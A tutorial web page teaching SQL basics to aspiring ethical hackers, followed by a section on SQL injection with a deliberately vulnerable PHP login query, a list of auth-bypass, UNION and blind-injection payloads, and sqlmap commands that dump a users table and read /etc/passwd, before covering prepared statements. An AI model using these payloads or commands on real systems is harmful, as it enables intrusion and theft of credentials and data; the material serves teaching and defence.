01 · INTRODUCTION

🗄️ What Is SQL?

SQL (Structured Query Language) is the standard language for communicating with relational databases. Created at IBM in the 1970s, it's been the backbone of data storage for over 50 years. Whether you're building a website, analyzing data, or hacking an application — SQL is everywhere.

Every application you use daily — Instagram, WhatsApp, Amazon, your bank — stores its data in SQL databases. The moment you log in, SQL queries run behind the scenes to fetch your account, verify your password, and load your feed.

For ethical hackers, SQL is essential for one simple reason: SQL Injection. SQLi has been the #1 or #2 vulnerability in the OWASP Top 10 for over a decade. It has caused some of the largest data breaches in history — affecting billions of users. If you understand SQL, you can find and exploit SQLi. If you don't, you're blind to one of the most impactful attack classes.

💡 Note: There are many SQL dialects — MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite. The core syntax is almost identical. This guide focuses on standard SQL with MySQL examples.
02 · WHY SQL MATTERS

💡 Why Learn SQL?

🔍

Data is Everywhere

Every app, website, and service uses SQL databases to store critical data.

💥

SQL Injection

SQLi is one of the most impactful vulnerabilities — understanding SQL means you can find and exploit it.

💰

High-Paying Skill

SQL is one of the most in-demand skills in IT, security, and data roles.

📊

Data Analysis

Query, filter, and analyze millions of records in seconds.

🎯

Bug Bounties

SQLi bounties can be worth $5,000 to $50,000+ per finding.

🛡️

Defense

To defend databases, you must understand how they work.

🔑 Key Insight: SQL is the closest thing to a universal language in computing. Learn it once, use it forever — every database speaks it.
03 · BASICS

📚 SQL Basics

A relational database is organized into tables. Each table has columns (fields) and rows (records). Think of it like a spreadsheet — but much more powerful.

Sample Table: users

idusernameemailroleactive
1adminadmin@site.comadmin1
2johnjohn@site.comuser1
3alicealice@site.commoderator0
4bobbob@site.comuser1

SQL Command Categories

CategoryPurposeCommands
DQLQuery dataSELECT
DMLModify dataINSERT, UPDATE, DELETE
DDLDefine structureCREATE, ALTER, DROP
DCLControl accessGRANT, REVOKE
TCLTransactionsCOMMIT, ROLLBACK
💡 Note: SQL keywords are case-insensitive — SELECT, select, and SeLeCt are all the same. Convention is to write keywords in UPPERCASE and table/column names in lowercase.
04 · SELECT QUERIES

🔍 SELECT — The Query Workhorse

SELECT is the most-used SQL statement. It retrieves data from one or more tables. Master this, and you've mastered half of SQL.

-- Retrieve all columns from users SELECT * FROM users; -- Select specific columns SELECT username, email FROM users; -- Rename columns with aliases SELECT username AS name, email AS contact FROM users; -- Distinct values (remove duplicates) SELECT DISTINCT role FROM users; -- Combine columns SELECT CONCAT(username, ' <', email, '>') AS contact FROM users; -- Limit rows returned SELECT * FROM users LIMIT 5;

Sorting Results

-- Ascending (default) SELECT * FROM users ORDER BY username; -- Descending SELECT * FROM users ORDER BY id DESC; -- Multi-column sort SELECT * FROM users ORDER BY role ASC, username DESC;
05 · WHERE FILTERING

🎯 WHERE — Filtering Rows

The WHERE clause filters rows based on conditions. This is where SQL really shines — and where SQL injection lives.

-- Simple equality SELECT * FROM users WHERE role = 'admin'; -- Multiple conditions (AND) SELECT * FROM users WHERE role = 'user' AND active = 1; -- OR condition SELECT * FROM users WHERE role = 'admin' OR role = 'moderator'; -- IN (match any of a list) SELECT * FROM users WHERE id IN (1, 3, 5); -- BETWEEN (range) SELECT * FROM users WHERE id BETWEEN 2 AND 4; -- LIKE (pattern matching) SELECT * FROM users WHERE email LIKE '%@gmail.com'; SELECT * FROM users WHERE username LIKE 'a%'; -- starts with 'a' SELECT * FROM users WHERE username LIKE '%o%'; -- contains 'o' -- NULL handling SELECT * FROM users WHERE email IS NULL; SELECT * FROM users WHERE email IS NOT NULL;

LIKE Wildcards

WildcardMeaningExample
%Zero or more characters'a%' → apple, admin, abc
_Exactly one character'a_' → ab, ac, ad
[abc]Any character in brackets'[ab]%' → apple, banana
06 · ORDER & LIMIT

📊 ORDER BY, LIMIT & OFFSET

-- Top 10 highest IDs SELECT * FROM users ORDER BY id DESC LIMIT 10; -- Pagination — page 2 (skip 10, show 10) SELECT * FROM users ORDER BY id LIMIT 10 OFFSET 10; -- Combined with WHERE SELECT username, email FROM users WHERE active = 1 ORDER BY username LIMIT 5;
07 · INSERT / UPDATE / DELETE

✏️ Modifying Data

INSERT — Add New Rows

-- Insert single row INSERT INTO users (username, email, role, active) VALUES ('charlie', 'charlie@site.com', 'user', 1); -- Insert multiple rows INSERT INTO users (username, email, role) VALUES ('dave', 'dave@site.com', 'user'), ('eve', 'eve@site.com', 'admin');

UPDATE — Modify Existing Rows

-- Update one row UPDATE users SET role = 'moderator' WHERE username = 'john'; -- Update multiple columns UPDATE users SET active = 1, email = 'new@site.com' WHERE id = 3; -- ⚠️ DANGER: no WHERE means update ALL rows! UPDATE users SET active = 0;

DELETE — Remove Rows

-- Delete specific row DELETE FROM users WHERE id = 5; -- Delete with condition DELETE FROM users WHERE active = 0; -- ⚠️ DANGER: deletes ALL rows DELETE FROM users;
⚠️ Warning: Always use WHERE with UPDATE and DELETE. Without it, you'll modify or delete every row in the table. Test with a SELECT first.
08 · AGGREGATE FUNCTIONS

🧮 Aggregate Functions

Aggregate functions perform calculations across multiple rows and return a single value.

FunctionPurpose
COUNT()Number of rows
SUM()Total sum
AVG()Average
MIN()Smallest value
MAX()Largest value
-- Count all users SELECT COUNT(*) AS total_users FROM users; -- Count active users SELECT COUNT(*) FROM users WHERE active = 1; -- Count distinct roles SELECT COUNT(DISTINCT role) FROM users; -- Get latest registered user ID SELECT MAX(id) FROM users; -- Average order value SELECT AVG(amount) AS avg_order FROM orders;
09 · JOINS

🔗 JOINs — Combining Tables

Real databases have many tables. JOINs let you combine data from multiple tables based on related columns.

Sample: orders table

order_iduser_idamountstatus
101199.99completed
102249.50pending
1032150.00completed
104425.00cancelled

INNER JOIN — Only Matching Rows

SELECT u.username, o.amount, o.status FROM users u INNER JOIN orders o ON u.id = o.user_id;

LEFT JOIN — All Left Rows, Matches on Right

-- Show every user even if they have no orders SELECT u.username, o.amount FROM users u LEFT JOIN orders o ON u.id = o.user_id; -- Find users with NO orders SELECT u.username FROM users u LEFT JOIN orders o ON u.id = o.user_id WHERE o.order_id IS NULL;

JOIN Types Summary

JOINReturns
INNER JOINOnly matching rows in both tables
LEFT JOINAll left rows + matching right rows
RIGHT JOINAll right rows + matching left rows
FULL OUTER JOINAll rows from both tables
CROSS JOINEvery combination (Cartesian product)
10 · GROUP BY & HAVING

📈 GROUP BY & HAVING

-- Count users per role SELECT role, COUNT(*) AS count FROM users GROUP BY role; -- Total amount spent per user SELECT u.username, SUM(o.amount) AS total_spent FROM users u JOIN orders o ON u.id = o.user_id GROUP BY u.username ORDER BY total_spent DESC; -- HAVING filters groups (like WHERE filters rows) SELECT role, COUNT(*) AS count FROM users GROUP BY role HAVING count > 1;
💡 Key Difference: WHERE filters rows before grouping. HAVING filters groups after aggregation.
11 · SUBQUERIES

🔍 Subqueries — Queries Inside Queries

-- Users who placed orders over $100 SELECT username FROM users WHERE id IN ( SELECT user_id FROM orders WHERE amount > 100 ); -- Users whose ID is above average SELECT username FROM users WHERE id > (SELECT AVG(id) FROM users); -- Subquery in SELECT SELECT username, (SELECT COUNT(*) FROM orders WHERE user_id = u.id) AS order_count FROM users u;
12 · SQL INJECTION

💥 SQL Injection — The #1 Web Vulnerability

SQL Injection (SQLi) occurs when user input is inserted into SQL queries without proper sanitization. Attackers can then manipulate the query to bypass authentication, dump databases, or even execute OS commands.

Vulnerable Code (PHP Example)

// ❌ VULNERABLE $username = $_POST['username']; $password = $_POST['password']; $query = "SELECT * FROM users WHERE username='$username' AND password='$password'"; $result = mysqli_query($conn, $query);

Classic Authentication Bypass

-- Normal query SELECT * FROM users WHERE username='admin' AND password='secret'; -- Attacker enters: admin' -- SELECT * FROM users WHERE username='admin' --' AND password='anything' -- The -- comments out the rest. Login succeeds! -- Or with OR 1=1 SELECT * FROM users WHERE username='admin' OR '1'='1' --' AND password='x'

Common SQLi Payloads

-- Auth bypass ' OR '1'='1 ' OR 1=1-- admin'-- ' OR 'x'='x -- Union-based extraction ' UNION SELECT username, password FROM users-- ' UNION SELECT NULL, table_name FROM information_schema.tables-- -- Time-based blind ' OR SLEEP(5)-- ' AND IF(1=1, SLEEP(5), 0)-- -- Boolean-based blind ' AND 1=1-- ' AND 1=2--

Types of SQL Injection

⚡

In-Band

Data returned directly in the response (Union-based, Error-based).

⏱️

Blind

No data returned. Use boolean or time-based inference.

📡

Out-of-Band

Exfiltrate via DNS or HTTP requests to attacker-controlled servers.

The Fix — Prepared Statements

// ✅ SAFE — prepared statement $stmt = $conn->prepare( "SELECT * FROM users WHERE username=? AND password=?" ); $stmt->bind_param("ss", $username, $password); $stmt->execute(); // Now user input is treated as DATA, never as SQL code.
⚠️ Legal Warning: SQL injection attacks against systems you don't own or have explicit permission to test are serious federal crimes. Use DVWA, OWASP Juice Shop, PortSwigger labs, or your own VMs to practice legally.
13 · SQL TOOLS

🔧 Essential SQL Tools

💉

sqlmap

Automatic SQLi detection and exploitation. The #1 SQLi tool.

🖥️

MySQL / psql

Native command-line clients for MySQL and PostgreSQL.

📊

DBeaver

Universal GUI database client. Supports all major databases.

🎨

phpMyAdmin

Web-based MySQL admin panel — a common attack target.

🕷️

Burp Suite

Intercept and manipulate requests. Integrate with sqlmap.

🔍

Havij / jSQL

GUI SQL injection tools for Windows-based pentesting.

Basic sqlmap Usage

# Basic SQLi test sqlmap -u "http://target.com/page.php?id=1" # List databases sqlmap -u "http://target.com/page.php?id=1" --dbs # Dump users table sqlmap -u "http://target.com/page.php?id=1" -D db -T users --dump # Test POST request sqlmap -u "http://target.com/login" --data="user=admin&pass=test" # Read a file via SQLi sqlmap -u "..." --file-read=/etc/passwd
14 · BEST PRACTICES

✅ SQL Best Practices

  1. Use prepared statements — Always. This is the #1 defense against SQLi.
  2. Never build SQL from user input — String concatenation is the root of all injection.
  3. Use parameterized queries — Same as prepared statements, different name.
  4. Validate and sanitize input — Whitelist, don't blacklist.
  5. Use least privilege accounts — Web app DB users should NOT have admin rights.
  6. Escape special characters — If you must concatenate, escape properly.
  7. Use ORMs — Hibernate, Entity Framework, and others handle SQLi automatically.
  8. Log queries — Monitor for suspicious patterns.
  9. Backup regularly — And test restores.
  10. Apply patches — Keep DBMS versions up to date.

The Golden Rule

// ❌ NEVER — Vulnerable to SQLi $sql = "SELECT * FROM users WHERE id = " . $_GET['id']; // ✅ ALWAYS — Safe with prepared statements $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$_GET['id']]);
16 · CONCLUSION

🎓 Final Thoughts

SQL is the language of data. Every modern application relies on it, and every serious security professional must understand it. Whether you want to build apps, analyze data, or hunt bugs — SQL is a mandatory skill.

For ethical hackers, SQL is doubly important. Understanding SQL means you can find and exploit SQL injection — one of the most impactful vulnerability classes in history. It's been behind breaches at Sony, Yahoo, TalkTalk, and countless others — affecting billions of users.

The journey follows a clear path:

  1. Learn SELECT — Retrieve and filter data.
  2. Master WHERE and JOINs — Combine data from multiple tables.
  3. Practice with aggregates — GROUP BY, COUNT, SUM.
  4. Understand SQLi — Payloads, bypasses, exploitation.
  5. Practice on legal labs — PortSwigger, DVWA, Juice Shop.
  6. Use prepared statements — Learn to write secure code too.
🚀 Next Steps: Install MySQL locally, create the sample tables from this guide, and run every query. Then head to PortSwigger Academy and complete the SQL injection labs. Within weeks, you'll be finding SQLi in real applications.

Happy hacking — ethically. 🗄️